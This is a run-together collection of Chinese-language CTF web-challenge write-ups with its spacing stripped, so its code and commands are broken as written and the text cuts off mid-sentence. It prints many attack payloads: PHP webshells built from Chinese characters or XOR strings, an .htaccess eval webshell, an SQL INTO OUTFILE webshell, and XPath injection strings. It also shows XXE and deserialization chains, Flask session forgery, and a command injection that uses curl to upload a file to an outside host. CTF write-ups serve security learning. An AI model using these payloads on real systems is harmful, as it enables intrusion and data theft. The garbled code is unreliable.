知识点:利用汉字构造shell 审计代码,发现从传入文件内容的第6个字母开始黑名单匹配,fuzz被过滤字符 只有这个几个是能用的了 我们可以通过$_=~('北')[1]构造,但是无奈的是数字被过滤了。所以,在构造exp前。就要先构造出1$_=[];$__=$_==$_;#$__是一个判断$_是否等于$_。返回True即1然后我们就可以构造exp了<=$__=[];$____=$__==$__;#1$_=~(北)[$____];$_.=~(熙)[$____];$_.=~(北)[$____];$_.=~(拾)[$____];$_.=~(的)[$____];$_.=~(和)[$____];#system$___=~(样)[$____];$___.=~(说)[$____];$___.=~(小)[$____];$___.=~(次)[$____];$___.=~(站)[$____];$____=~(瞰)[$____];#_POST$_($$___[$_]);#system($_POST[system]);得到文件目录,post传参system=env (env是环境变量,相当于phpinfo) 知识点:无字母数字shell构造 PHP在处理字符串时有个有趣的特性。 PHP默认会把没有加引号的字符串当成常量处理,找不到对应常量就会将其解释成字符串 虽然抛出警告,但是还是打印出了abc,并且这个警告我们可以用"@",去掉。 还有一点,PHP调用函数,可以使用字符串调用。 print_r(scandir(.));==((%9b%9c%9b%9b%9b%9b%9c)^(%9b%8f%9b%9c%9c%9b%8f)^(%8f%9e%96%96%8c%a0%9e)^(%ff%ff%ff%ff%ff%ff%ff))(((%9b%9b%9b%9b%9b%9b%9c)^(%9b%9b%9b%9c%a0%9b%8f)^(%8c%9c%9e%96%a0%96%9e)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff));Array([0]=>.[1]=>..[2]=>index.php[3]=>n0t_a_flAg_FiLe_dONT_rE4D_7hIs.txt) 文件在scandir的结果最后面,那么用end()方法就可以得到文件名了。读文件可以用show_source或者readfile //和上面一样的方法,构造出payloadPayload:show_source(end(scandir(.)));==((%8d%9c%97%a0%88%8d%97%8d%9c%a0%a0)^(%9a%97%9b%88%a0%9a%9b%9b%8d%9c%9a)^(%9b%9c%9c%a0%88%9b%9c%9c%9c%a0%a0)^(%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff%ff))(((%a0%97%8d)^(%9a%9a%9b)^(%a0%9c%8d)^(%ff%ff%ff))(((%8d%a0%88%97%8d%9b%9c)^(%9a%9c%8d%9a%9b%9a%8d)^(%9b%a0%9b%9c%8d%97%9c)^(%ff%ff%ff%ff%ff%ff%ff))(%d1^%ff)));[BSidesCF2019]SVGMagic知识点:XXE+SVG /proc/self/cwd显示当前位置 我们要伪造admin,首先需要知道session的处理器 session处理器形式我们可以通过读取session文件来得知,那么我们首先就需要先知道文件名,我们知道session文件命名格式为(sess_[PHPSESSID的值]),phpsessid可以通过查看cookie知道,所有我们下载文件即可 POST:direction=download&attr=&filename=sess_+phpsessid 得到返回内容 username:5:"guest";(username前面有一个不可见字符) 可知session处理器为php_binary 当session.serialize_handler=php时,session文件内容为:name|s:7:"mochazz";当session.serialize_handler=php_serialize时,session文件为:a:1:{s:4:"name";s:7:"mochazz";}当session.serialize_handler=php_binary时,session文件内容为:二进制字符names:7:"mochazz";本地伪造文件 POST:direction=download&attr=&filename=sess_432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4 这里注意要把cookie也改成432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4 第二步就是secret.txt文件构造了 对secret.txt文件的判断是通过file_exists()函数, 说明file_exists(string$filename):bool检查文件或目录是否存在。虽然我们不能完全控制上传的文件名,但上传的路径我们是可以控制的,所以我们只需要在/var/babyctf/下创建一个success.txt目录即可 分析代码我们知道 $dir_path="/var/babyctf/".$attr; 路径会拼接上attr,我也我们只需让attr为secret.txt,然后在该目录下上传我们之处创建的sess文件,伪造admin即可 然后回到刚才的界面内,改下phpsessid为432b8b09e30c4a75986b719d1312b63a69f1b833ab602c9ad5f0299d1d76a5a4,改attr对应的值为success.txt获得flag 知识点:XXE攻击 当Web应用采用JSON进行数据传输时,可能存在XXE漏洞。 在该题,我们可以通过使用本地DTD文件来利用XXE漏洞实现任意结果输出 BlindXXE需要使用到DTD约束自定义实体中的参数实体。参数实体是只能在DTD中定义和使用的实体,以%为标志定义,定义和使用方法如下 %local_dtd;payload 有waf,通过修改编码方式绕过,将utf-8改为utf-16be 放在user或者group标签下最多显示15位字符 将得到的文件上传即可得到flag 当然该题如果不知道 做法类似[GoogleCTF2019Quals]Bnv 记录下流程,不知道为什么用的buu内网VPSnc反弹不上 1.随便上传文件,然后点下载,抓包。看到有filename,猜测可能存在目录穿越以及任意文件下载 2.尝试通过报错来获取网站的绝对路径,设置URL参数filename=../ 可以看到javaweb的绝对路径爆出来了,由于也是第一次做javaweb的题,这里看了师傅们的wp,发现先去读取配置文件web.xml,看到三个class文件,下载下来,反编译用的jd-gui 什么是web.xml?一般的web工程中都会用到web.xml,web.xml主要用来配置,可以方便的开发web工程。web.xml主要用来配置Filter、Listener、Servlet等。但是要说明的是web.xml并不是必须的,一个web工程可以没有web.xml文件 4.把三个class文件下载下来,tomcat的class文件一般存储在/WEB-INF/classes/下面 filename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/DownloadServlet.classfilename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/ListFileServlet.classfilename=…/…/…/…/WEB-INF/classes/cn/abc/servlet/UploadServlet.class jd-gui反编译 做法如下 新建一个空excel-xxx.xlsx文件,将后缀改为zip 修改里面的[Content_Types].xml文件,在第二行添加如下代码 接下去,buu建个小号,在linux-labs开个内网vps,xshell连上,在/var/www/html/目录下创建文件file.dtd,内容 nc-lvp9999 上传xlsx文件,按理说应该被监听到的(f),不知道为什么,失败了.. 代码分析就不写了,该题改编自EIS2019的ezpop 主要记录以下用到的几个知识点和新思路,和原题唯一不同之处就是对文件名做了限制,如下 知识点一:通过/../绕过文件名随机前缀,通过/.进行绕过文件名检验 publicfunctiongetCacheKey(string$name):string{//使缓存文件名随机$cache_filename=$this->options['prefix'].uniqid().$name;if(substr($cache_filename,-strlen('.php'))==='.php'){die('');}return$cache_filename;}$cache_filename=$this->options['prefix'].uniqid().$name组成随机的文件名。这里options['prefix']和$name可控。可以用../变成upload/1345235(uniqid)/../1.php绕过**判断$cache_filename文件名最后三位是否是php结尾这里可以用1.php/.绕过 file_put_contents('1.php/.','123')会生成1.php而不是1.php/. $this->options['prefix'].uniqid().$name生成随机文件名uploads/48342/../1.php/.会在uploads目录生成1.php。 知识点二:死亡exit绕过 $data="\n".$data; 我们可使用php://filter协议来施展魔法:使用php://filter流的base64-decode方法,将$data解码,利用phpbase64_decode函数特性去除“死亡exit”。 ,base64编码中只包含64个可打印字符,而PHP在解码base64时,遇到不在其中的字符时,将会跳过这些字符,仅将合法字符组成一个新的字符串进行解码。一个正常的base64_decode实际上可以理解为如下两个步骤: “phpexit”一共7个字符,因为base64算法解码时是4个byte一组,所以给他增加1个“a”一共8个字符。这样,"phpexita"被正常解码,而后面我们传入的webshell的base64内容也被正常解码。结果就是 protectedfunctionserialize($data):string{if(is_numeric($data)){return(string)$data;}$serialize=$this->options['serialize'];return$serialize($data);}在该方法中直接将serialize赋值为system,进行命令执行 本地测试如下: 发现思路是正确的 先写一个.user.ini,然后写一个.jpg里面带马,使其追加到其他php后面作为php执行 删除当前目录除了index.php以外所有文件包含fl3g.php,访问后可以发现此文件不存在content经过stristr不能含有on,html,type,flag,upload,filefilename经过preg_match只能含有[a-z.]删除当前目录除了index.php以外所有文件写入内容为content名为filename的文件,最后还会有\n换行追加数据导致.htaccess解析错误的限制而且这里比较让我们值得注意的是fl3g.php的包含,虽然每次都会首先执行删除当前目录下所有的文件,但是之后又都会去尝试包含fl3g.php,那我们是不是可以有什么操作去写入fl3g.php呢? 我们把写入文件的功能点放在.htaccess上来 通过查看php.ini配置文档,发现几个可利用的地方 我们大概可以有这么个思路: error_log可以将php运行报错的记录写到指定文件中。 我们可以将include_path的内容设置成payload的内容,这时访问页面,页面尝试将payload作为一个路径去访问时就会因为找不到fl3g.php而报错,这个时候,include_path也就是我们的payload就会写入到我们刚刚设置报错信息的error_log=/tmp/fl3g.php文件中去。这个时候我们再将include_path的内容设置成/tmp,即可让index.php能够包含/tmp/fl3g.php,即读取我们的报错信息 首先先考虑如何绕过\n换行追加数据导致.htaccess解析错误的限制 我们可以利用#注释符将整句话都注视掉,但是又由于有\n换行符的存在,我们不能直接使用#就将其注释掉,需要把\n进行“吃”掉。那么最常见的操作就是利用\斜杠将其转义了,这样\\n就是一个简单的\n字符串了。 初步构造.htaccess文件内容如下 php_valueinclude_path"payload"php_valueerror_log/tmp/fl3g.php#\不过令人失望的是error_log的内容默认是htmlentities的,我们无法插入类似 先尝试利用UTF-7编码我们需要插入的恶意代码,写入.htaccess的文件内容如下: php_valueinclude_path'+ADwphpdie(eval($_GET[2]))+ADs+AF8AXw-halt+AF8-compiler()+ADs'php_valueerror_log/tmp/fl3g.php#\payload1: 第二步再把以下内容写入.htaccess:,从而显示报错信息 php_valueinclude_path'/tmp'php_valuezend.multibyte1php_valuezend.script_encoding"UTF-7"#\payload2: 即可看到报错信息 还有一种解法是 用\来转义换行符来绕过最后加一行的限制。所以同理也可以用\来绕过stristr处的所有限制。型如 php_valueauto_prepend_fi\le".htaccess"payload filename=.htaccess&content=php_value%20auto_prepend_fil\%0ae%20.htaccess%0a%23 这里我们看到题目的代码正则部分是 if(preg_match("/[^a-z\.]/",$filename)==1){echo"Hacker2";die();}这里是判断是否为1,如果为1则die,而根据正则回溯,当超过回溯次数,preg_match会返回false,自然就可以绕过了。 payload content=php_value%20pcre.backtrack_limit%200%0aphp_value%20pcre.jit%200%0a%23\&filename=.htaccess没有preg_match的waf后就可以通过php://filter伪协议写入一句话 filename=php://filter/write=convert.base64-decode/resource=.htaccess&content=cGhwX3ZhbHVlIHBjcmUuYmFja3RyYWNrX2xpbWl0IDAKcGhwX3ZhbHVlIHBjcmUuaml0IDAKcGhwX3ZhbHVlIGF1dG9fYXBwZW5kX2ZpbGUgLmh0YWNjZXNzCiM8P3BocCBldmFsKCRfR0VUWzFdKTs/Plw&1=phpinfo();[b01lers2020]LifeonMars知识点:这一题的话就是找注入点要细心,抓包,F12看Network等等,js文件要注意 找到注入点后sqlmap一把梭 知识点:XPATH注入 Xpath注入漏洞验证: 加一个';有下列报错,则可以确定Xpath注入的存在性 xpath盲注适用于攻击者不清楚XML文档的架构,没有错误信息返回,一次只能通过布尔化查询来获取部分信息,同样以0x05中的源码为例 Xpath盲注步骤: 从根节点开始判断: 'orcount(/)=1or''='###根节点数量为1'orcount(/*)=1or''='##根节点下只有一个子节点判断根节点下的节点长度为8: 'orstring-length(name(/*[1]))=8or''='猜解根节点下的节点名称: 'orsubstring(name(/*[1]),1,1)='a'or''=''orsubstring(name(/*[1]),2,1)='c'or''='..'orsubstring(name(/*[1]),8,1)='s'or''='猜解出该节点名称为accounts 'orcount(/accounts)=1or''='/accounts节点数量为1'orcount(/accounts/user/*)>0or''='/accounts下有两个节点'orstring-length(name(/accounts/*[1]))=4or''='第一个子节点长度为4猜解accounts下的节点名称: 'orsubstring(name(/accounts/*[1]),1,1)='u'or''='...'orsubstring(name(/accounts/*[1]),4,1)='r'or''='accounts下子节点名称为user 'orcount(/accounts/user)=2or''='user节点有两个,则可以猜测出accounts节点结构,accounts下两个节点,均为user节点第一个user节点的子节点长度为8:'orstring-length(name(/accounts/user[position()=1]/*[1]))=8or''=' 读取user节点的下子节点 'orsubstring(name(/accounts/user[position()=1]/*[1]),1,1)='u'or''=''orsubstring(name(/accounts/user[position()=1]/*[1]),2,1)='s'or''='...'orsubstring(name(/accounts/user[position()=1]/*[1]),8,1)='e'or''='最终所有子节点值验证如下: 'orsubstring(name(/accounts/user[position()=1]/*[1]),1)='username'or''=''orsubstring(name(/accounts/user[position()=1]/*[2]),1)='email'or''=''orsubstring(name(/accounts/user[position()=1]/*[3]),1)='accounttype'or''=''orsubstring(name(/accounts/user[position()=1]/*[4]),1)='password'or''='继续猜解: 'orcount(/accounts/user[position()=1]/username/*)>0or''=''orcount(/accounts/user[position()=1]/email/*)>0or''=''orcount(/accounts/user[position()=1]/accounttype/*)>0or''=''orcount(/accounts/user[position()=1]/username/password/*)>0or''='均为false,不再有子节点,则可以尝试读取这些节点的值 第一个user下的username值长度为6: 'orstring-length((//user[position()=1]/username[position()=1]))=6or''='读取第一个user下usernaem的值 'orsubstring((//user[position()=1]/username[position()=1]),1,1)='T'or''='....'orsubstring((//user[position()=1]/username[position()=1]),6,1)='e'or''='可依次读取所有的子节点的值,第二user节点的子节点值读取方式: 'orstring-length((//user[position()=2]/username[position()=1]))=4or''='第一个user下的username长度为4......重复上边步骤即可 既然直接给了一个unserialize,其他的什么都没有,所以首先考虑魔法函数__destruct 那么我们在全局搜索一下__destruct,找到的可利用类是TagAwareAdapter类 这个类里面有一个__destruct方法,调用了commit方法 publicfunction__destruct(){$this->commit();}之后commit方法又调用了invalidateTags这个方法 publicfunctioncommit(){return$this->invalidateTags([]);}我们跟进invalidateTags这个方法看看 publicfunctioninvalidateTags(array$tags){$ok=true;$tagsByKey=[];$invalidatedTags=[];foreach($tagsas$tag){CacheItem::validateKey($tag);$invalidatedTags[$tag]=0;}if($this->deferred){$items=$this->deferred;foreach($itemsas$key=>$item){if(!$this->pool->saveDeferred($item)){unset($this->deferred[$key]);$ok=false;}}$f=$this->getTagsByKey;$tagsByKey=$f($items);$this->deferred=[];}$tagVersions=$this->getTagVersions($tagsByKey,$invalidatedTags);$f=$this->createCacheItem;foreach($tagsByKeyas$key=>$tags){$this->pool->saveDeferred($f(static::TAGS_PREFIX.$key,array_intersect_key($tagVersions,$tags),$items[$key]));}$ok=$this->pool->commit()&&$ok;if($invalidatedTags){$f=$this->invalidateTags;$ok=$f($this->tags,$invalidatedTags)&&$ok;}return$ok;}要注意的是,我们可以控制整个TagAwareAdapter类中的成员变量,所以我们可以控制所有的$this->xxx这样子的变量。 在这一段代码中 foreach($itemsas$key=>$item){if(!$this->pool->saveDeferred($item)){unset($this->deferred[$key]);$ok=false;}}我们可以发现,我们可以调用任意一个实现了saveDeferred方法的类,所以我们可以找一个可利用类为:PhpArrayAdapter类 我们看一下这个类中的saveDeffer方法 publicfunctionsaveDeferred(CacheItemInterface$item){if(null===$this->values){$this->initialize();}return!isset($this->keys[$item->getKey()])&&$this->pool->saveDeferred($item);}进入到initialize这个方法,发现在本类中并没有定义,而是在一个trait这个关键词修饰的类中traitPhpArrayTrait 看一下trait这个关键词的用法 trait 这个关键词是php为了解决单继承的问题而特意建立的,在java这种面向对象的语言中,继承都是单继承的,一个类只能继承一个父类,这样确实体现了面向对象的思想,但是单继承在有的时候不是很方便 我们通过phpstorm的继承图生成可以清楚的看到PhpArrayAdapter这个类的继承关系 那么在本类中没有定义initialize这个方法的话,自然就会去父类中寻找,我们来看看父类的initialize方法: privatefunctioninitialize(){if(!file_exists($this->file)){$this->keys=$this->values=[];return;}$values=(include$this->file):[[],[]];if(2!==\count($values)||!isset($values[0],$values[1])){$this->keys=$this->values=[];}else{list($this->keys,$this->values)=$values;}}我们可以在PhpArrayAdapter中定义好$this->file这个变量,那么在调用initialize方法的时候,只要这个file是一个存在的文件,就会调用include来包含进去,最后就可以读取到flag了 create_function()函数漏洞,create之后会自动生成一个函数名为%00lambda_%d %d这个值是一直递增的,这里的%d会一直递增到最大长度直到结束,这里我们可以通过大量的请求来迫使Pre-fork模式启动的Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了。 paylaod 注册登入后在/user/user.phpid=处存在注入点 fuzz测试后发现过滤了union,select,&,|,过滤了select然后存在堆叠注入的可以使用预处理注入,尝试写入shell,方法一hex编码 SELECT''intooutfile'/var/www/html/favicon/1.php' user/user.phpid=2;set@xx=0x53454c45435420273c3f70687020406576616c28245f504f53545b315d293b3f3e2720696e746f206f757466696c6520272f7661722f7777772f68746d6c2f66617669636f6e2f312e70687027;preparexfrom@xx;executex;之后在favicon/1.php页面,POST传参命令执行即可 方法二char()编码 str="select' 登入页面抓包,发现login.php,因此猜测存在register.php 直接伪协议读取文件,由于page=guest,猜测真实文件就是guest.php,那么我们直接写index就好了 index.php 读取到这个文件了 是个文件上传的页面,不过我们尝试文件上传后发现404报错,根据报错信息知道存在upllloadddd.php,用之前的伪协议读取这个文件 $picdata=system("cat./upload_b3bb2cfed6371dfeb2db1dbcceb124d3/".$filename."|base64-w0");命令执行,我们传个文件名为123.php;cd..;catflag的文件即可得到flag 在buu上复现的,方法对了,但是不知道为什么不出flag,导致死磕了很久,一直以为是自己方法错了 进入环境,点进去之后,发现跳转到baidu,很明显SSRF fuzz后发现file://等被过滤了,直接上/proc/self/cmdline /usr/local/bin/python/app/app.py 那就SSRF下app.py,得到代码如下 对全部的源码进行分析了,直接查找所需的SECRET_KEY的值发现: app.config['SECRET_KEY']=str(random.random()*233)其对SECRET_KEY做了random随机处理,但random生成的随机数都是伪随机数,有一定的规律。发现了其中: 若获取了服务器的MAC地址值,那么就可以构造出为伪随机的种子值,想到Linux中一切皆文件,查找到MAC地址存放在/sys/class/net/eth0/address文件中,读取该文件:得到其十六进制所表示的MAC地址 然后脚本把它转换为10进制数,然后转换成SECRET_KEY importrandommac="02:42:ac:10:a4:ef"random.seed(int(mac.replace(":",""),16))key=str(random.random()*233)print(key)然后利用flask-session-cookie-manager进行伪造即可,然后将得到的伪session代替原session,访问/flag,即可得到flag,迷惑的地方就是这里,我拿伪造的session进到/flag页面,一直给我回显Accessdenied 要哭了,看着wp搞了一天,结果最后还是没出flag,这里记录下过程 满足success===true,就回显flag 在CGI(RFC3875)的模式的时候,会把请求中的Header,加上HTTP_前缀,注册为环境变量,所以如果你在Header中发送一个Proxy:xxxxxx,那么PHP就会把他注册为HTTP_PROXY环境变量,于是getenv("HTTP_PROXY")就变成可被控制的了.那么如果你的所有类似的请求,都会被代理到攻击者想要的地址,之后攻击者就可以伪造,监听,篡改你的请求了 利用条件: 受影响范围 Guzzle>=4.0.0rc2,<6.2.1版本受此影响 刚开始一直在用buu内网vps进行复现,搞了好几个小时,一直连不上nc,后来在群里问了才知道,buu内网已经做隔离了,要直接访问外网资源,意思就是说直接拿自己的服务器搭呗 创建一个伪造的responseb.txt HTTP/1.1200OKServer:nginx/1.14.2Date:Mon,08Feb202109:09:21GMTContent-Type:text/html;charset=UTF-8Connection:Keep-aliveContent-Length:16{"success":true}然后nc监听 nc-lvp2333 问题就在这里,不管我怎么连,就是连不上 最后在burp改包 加一行 Proxy:xxx.xxx.xxx.xxx:2333 然后就会返回flag 知识点:session伪造 知道可以写note,然后可以下载,还知道要admin才可以getflag,session伪造,不过仅限于此猜测是,没什么思路,看了WP才知道,还有源码的存在,下载下来,源码比较简单,主要的代码如下 在export.php中$filename由三个参数拼接构成,一般拼接点都是可利用的 思路很明显了,伪造session.不过在伪造session之前需要知道session处理器,默认为php 当session.serialize_handler=php时,session文件内容为:name|s:7:"mochazz"; 做法: 用户名为sess_登入,然后写Note,标题为|N;admin|b:1;,这样反序列化结果即可为:admin==bool(true),最后export.phptype=.即可使得这个.与前面的.拼接成..被替换为空,$filename也就成为了session文件名了 然后修改session,到getflag页面即可得到flag,(不过这里我修改完session,点getflag后并没有flag,需要先到别的页面,再到getflag) 知识点:软链接读文件 Copy随便输入访问到404页面,放到burp查看相应包 Swpuctf_csrf_token:U0VDUkVUX0tFWTprZXlxcXF3d3dlZWUhQCMkJV4mKg==base64解密为SECRET_KEY:keyqqqwwweee!@#$%^&* 脚本直接伪造admin python3flask_session_cookie_manager3.pydecode-c'eyJpZCI6eyIgYiI6Ik1UQXcifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoicSIsInVzZXJuYW1lIjoiMTIzIn0.Xo3RYQ.WSpp6_ZvPfQfdlnAX3ZbtSnEOS0'-s'keyqqqwwweee!@#$%^&*'{'id':b'100','is_login':True,'password':'q','username':'123'}将id:100改为1python3flask_session_cookie_manager3.pyencode-s'keyqqqwwweee!@#$%^&*'-t"{'id':b'1','is_login':True,'password':'q','username':'123'}"eyJpZCI6eyIgYiI6Ik1RPT0ifSwiaXNfbG9naW4iOnRydWUsInBhc3N3b3JkIjoicSIsInVzZXJuYW1lIjoiMTIzIn0.Xo3SLw.lL3TAbVjmsDo65DOZhUNjrM8hkc成功到上传界面,源码有注释 ln-s是Linux的一种软连接,类似与windows的快捷方式ln-s/etc/passwdforever404这会出现一个forever404文本,里面包含密码/proc/self记录了系统运行的信息状态等,cwd指向当前进程运行目录的一个符号链接,即flask运行进程目录 软链接读文件,关键在于怎么获取到flag.jpg绝对路径 在linux中,/proc/self/cwd/会指向进程的当前目录,那么在不知道flask工作目录时,我们可以用/proc/self/cwd/flag/flag.jpg来访问flag.jpg 或者先找到当前目录路径 在linux中,/proc/self/environ文件里包含了进程的环境变量,可以从中获取flask应用的绝对路径,再通过绝对路径制作软链接来读取flag.jpg(PS:在浏览器中,我们无法直接看到/proc/self/environ的内容,只需要下载到本地,用notepad++打开即可) ln-s/proc/self/environqqqzip-ryqqq.zipqqqln-s/ctf/hgfjakshgfuasguiasguiaaui/myflask/flag/flag.jpgwwwzip-rywww.zipwwwCopy将得到的压缩包上传,抓包查看response,即可得到flag 也可以命令注入: $(III=`awk'BEGIN{printf\"%c\",47}'`&&curlxxx.xxx.xxx.xxx:9999-T`echo${III}ctf${III}hgfjakshgfuasguiasg[FireshellCTF2020]Caas知识点: 首先随便输了个php代码,根据报错发现是C语言编译器 #include 知识点:WAF绕过 和国赛那题一样,就是范围变了下 /index.phpc=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){pi}(($$pi){abs})&pi=system&abs= base_convert(37907361743,10,36)=>"hex2bin"dechex(1598506324)=>"5f474554"$pi=hex2bin("5f474554")=>$pi="_GET"//hex2bin将一串16进制数转换为二进制字符串($$pi){pi}(($$pi){abs})=>($_GET){pi}(($_GET){abs})//{}可以代替[]方法二:拼凑出getallheaders利用HeaderRCE getallheaders—获取全部HTTP请求头信息 /index.phpc=$pi=base_convert,$pi(696468,10,36)($pi(8768397090111664438,10,30)(){1})然后抓包在请求头中添加1:cat/flag分析 base_convert(696468,10,36)=>"exec"$pi(8768397090111664438,10,30)=>"getallheaders"exec(getallheaders(){1})//操作xx和yy,中间用逗号隔开,echo都能输出echoxx,yy方法三:异或 is_nan^64==>_G tan^15==>ET /c=$pi=(is_nan^(6).(4)).(tan^(1).(5));$pi=$$pi;$pi{0}($pi{1})&0=system&1=cat%20/flag[RootersCTF2019]babyWeb知识点:万能密码 SQL查询,过滤了:union、sleep、'、"、or、-、benchmark orderby测试字段数,发现当orderby2时返回正常orderby3返回没有这个字段,确定为两个字段,一个为uniqueid另一个应该就是flag 随便注册个用户(admin无法注册),登入,来到文件上传页面,上传文件抓包,发现session-id,尝试jwt解密,参数有我们注册的账号,猜测为session伪造,不过我们需要知道密钥,dirsearch扫目录,得到robots.txt,一路访问,得到密钥,伪造admin,修改session刷新后,即到admin界面,发现flag.php,访问如下,即可得到flag 也可以在命令行 perl中ARGV是遍历数组变量@ARVG中的所有文件名的特殊文件句柄,@ARVG传给脚本的命令行参数列表 Perl会将perl命令行参数列表放入到数组@ARGV中,而默认情况下,这些命令行参数是Perl的数据输入源,也就是Perl会以依次将他们当作文件进行读取 进入场景后有3个链接,点进去都是.pl文件,.pl文件都是用perl编写的网页文件 利用点在第三个链接,尝试后发现,Files链接可以上传文件并把文件内容打印出来。对此,大佬猜测后台代码如下 usestrict;usewarnings;useCGI;my$cgi=CGI->new;if($cgi->upload(‘file‘)){my$file=$cgi->param(‘file‘);while(<$file>){print"$_";}}param()函数会返回一个列表的文件但是只有第一个文件会被放入到下面的接收变量中。如果我们传入一个ARGV的文件,那么Perl会将传入的参数作为文件名读出来。对正常的上传文件进行修改,可以达到读取任意文件的目的。 如果在原来的数据包中新增一个文件上传项,并且删除其filename参数,后端会将第一个上传项的内容作为$file参数的值,因此我们可以控制$file变量的值 如果$file变量的值是ARGV文件句柄,而ARGV文件句柄会将@ARGV数组的每一项作为文件名并读取它们的内容,也就是说在URL后添加的路径会被放入到@ARGV数组中,配合之前引入的ARGV文件句柄,我们就可以读取任意文件 知识点:脚本编写 做这题之前先去学了下21点的玩法23333 访问/api可以得到一个SecretState这个是当前余额的一个哈希码 访问/api/deal可以进行赌博,但是只要我们的state不会变,我们的余额就不会变,当我们的应答包含BlackJack的时候,我们的余额会增加,然后我们就可以获取它的SerectState进行下一次赌博,这样就可以一直赢了 打开题目,是个URL转PDF的在线转换器,输入一个URL,就会转成PDF。但是不能直接用file://协议去读本地文件,会报错。使用bp的BurpCollaborator模块看下请求 发现使用了WeasyPrint 在HackerOne–BenSadeghipour的这个关于SSRF的DEFCON议题上,有一部分专门介绍了WeasyPrint。 Attachmentsarerelatedfiles,embeddedinthePDFitself.Theycanbespecifiedthroughelementstoaddresourcesgloballyorthroughregularlinkswithtoattacharesourcethatcanbesavedbyclickingonsaidlink.Thetitleattributecanbeusedasdescriptionoftheattachment. 意思就是说我们可以使用锚和链接标签将文件作为附件嵌入到生成的PDF中,并且可以轻松地从PDF中提取附件 代码分析 app.get('/',function(req,res){varaction=req.query.actionreq.query.action:"index";if(action.includes("/")||action.includes("\\")){res.send("Errrrr,YouhavebeenBlocked");}file=path.join(__dirname+'/template/'+action+'.pug');varhtml=pug.renderFile(file);res.send(html);});/接受action参数。如果没有就默认为indexfile=dirname+/template/+action+.png然后用pug引擎进行渲染。可以理解为执行这个文件 app.post('/file_upload',function(req,res){varip=req.connection.remoteAddress;varobj={msg:'',}if(!ip.includes('127.0.0.1')){obj.msg="onlyadmin'sipcanuseit"res.send(JSON.stringify(obj));return}fs.readFile(req.files[0].path,function(err,data){if(err){obj.msg='uploadfailed';res.send(JSON.stringify(obj));}else{varfile_path='/uploads/'+req.files[0].mimetype+"/";varfile_name=req.files[0].originalnamevardir_file=__dirname+file_path+file_nameif(!fs.existsSync(__dirname+file_path)){try{fs.mkdirSync(__dirname+file_path)}catch(error){obj.msg="filetypeerror";res.send(JSON.stringify(obj));return}}try{fs.writeFileSync(dir_file,data)obj={msg:'uploadsuccess',filename:file_path+file_name}}catch(error){obj.msg='uploadfailed';}res.send(JSON.stringify(obj));}})})/file_upload上传文件时先判断是否是127.0.0.1也就是本地请求那么得找一个SSRF的点然后就是获取上传的文件,根据其传过去的MIME类型保存到指定目录filepath=/uploads/+mimetype+/而mimetype可控。那么我们可以跨目录,构造任意路径文件写入 总的来说就是利用../template进行跨目录。经过处理后就变成了uploads/../template/flag.pug然后刚好就可以通过action参数请求执行,pub文件的内容是包含多个上级目录的flag.txt 不过我们还需要绕过黑名单,可以通过url编码进行绕过,也可以通过nodejs8特性进行绕过 "usestrict";varrandomstring=require("randomstring");varexpress=require("express");var{VM}=require("vm2");varfs=require("fs");varapp=express();varflag=require("./config.js").flagapp.get("/",function(req,res){res.header("Content-Type","text/plain");/*Orangeissokindsoheputtheflaghere.Butifyoucanguesscorrectly:P*/eval("varflag_"+randomstring.generate(64)+"=\"hitcon{"+flag+"}\";")if(req.query.data&&req.query.data.length<=12){varvm=newVM({timeout:1000});console.log(req.query.data);res.send("eval->"+vm.run(req.query.data));}else{res.send(fs.readFileSync(__filename).toString());}});app.listen(3000,function(){console.log("listeningonport3000!");});用的是[HFCTF2020]JustEscape的payload 关于这里为什么是data[],是为了绕过req.query.data&&req.query.data.length<=12 看了wp,官方解法是利用buffer的未清零特征 在较早一点的node版本中(8.0之前),当Buffer的构造函数传入数字时,会得到与数字长度一致的一个Buffer,并且这个Buffer是未清零的。8.0之后的版本可以通过另一个函数Buffer.allocUnsafe(size)来获得未清空的内存。 注:关于BufferJavaScript语言自身只有字符串数据类型,没有二进制数据类型。但在处理像TCP流或文件流时,必须使用到二进制数据。因此在Node.js中,定义了一个Buffer类,该类用来创建一个专门存放二进制数据的缓存区。 只要是调用过的变量,一定会存在内存中,所以需要使用Buffer()来读取内存,使用data=Buffer(500)分配一个800的单位为8位字节的buffer,编写Python3的EXP: 通过查看请求头,在user-agent发现使用PhantomJS PhantomJS是一个服务器端的JavaScriptAPI的WebKit。其支持各种Web标准:DOM处理,CSS选择器,JSON,Canvas,和SVG 搜索PhantomJS发现存在任意文件上传漏洞CVE-2019-17221,该漏洞通过file://URL的XMLHttpRequest触发 随便注册一波账号npfs,密码123,到adminpanel发现要admin登入,抓包看下session,尝试篡改cookie来提权,但是加密方式未知,密钥未知。我们先注入点,fuzz发现在event_important参数存在模版注入,输入__class__,发现成功回显. 接着查找配置文件:__class__.__init__.__globals__[app].config,得到key fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y 我们把两个session都解密看一下 这里user的值才是用来判断admin的,所有我们要伪造的是名为user的session,但是我们解密发现,字符串只有一个npfs,也就是我注册的用户名,我们无法直接伪造,这里用到了脚本 fromflaskimportFlaskfromflask.sessionsimportSecureCookieSessionInterfaceapp=Flask(__name__)app.secret_key=b'fb+wwn!n1yo+9c(9s6!_3o#nqm&&_ej$tez)$_ik36n8d7o6mr#y'session_serializer=SecureCookieSessionInterface().get_signing_serializer(app)@app.route('/')defindex():print(session_serializer.dumps("admin"))index()得到的user代替原来的即可伪造成功获得flag 启动环境,是一个蜂蜜购买解密,有1366美金,购买flag需要1337美金,美金不足,猜测为session伪造,抓包,将session利用flask-session-master工具解密, 获得解密后的值: {'balance':1336,'purchases':[]}确实包含金额,所有接下去要做的就是得到key 观察页面,发现大图片下方有一行小字 clicktodownloadoursweetimages 之前省赛做到过类似的,web中对于这种可下载地方一般存在任意文件下载,下载抓包 修改其image的值为: /downloadimage=../../../../../../../etc/passwd发送数据包,得到/etc/passwd文件内容,确定存在任意文件下载漏洞 当路径为../../proc/self/environ时,得到key 将得到的session进行替换,购买即可得到flag 题目过滤了 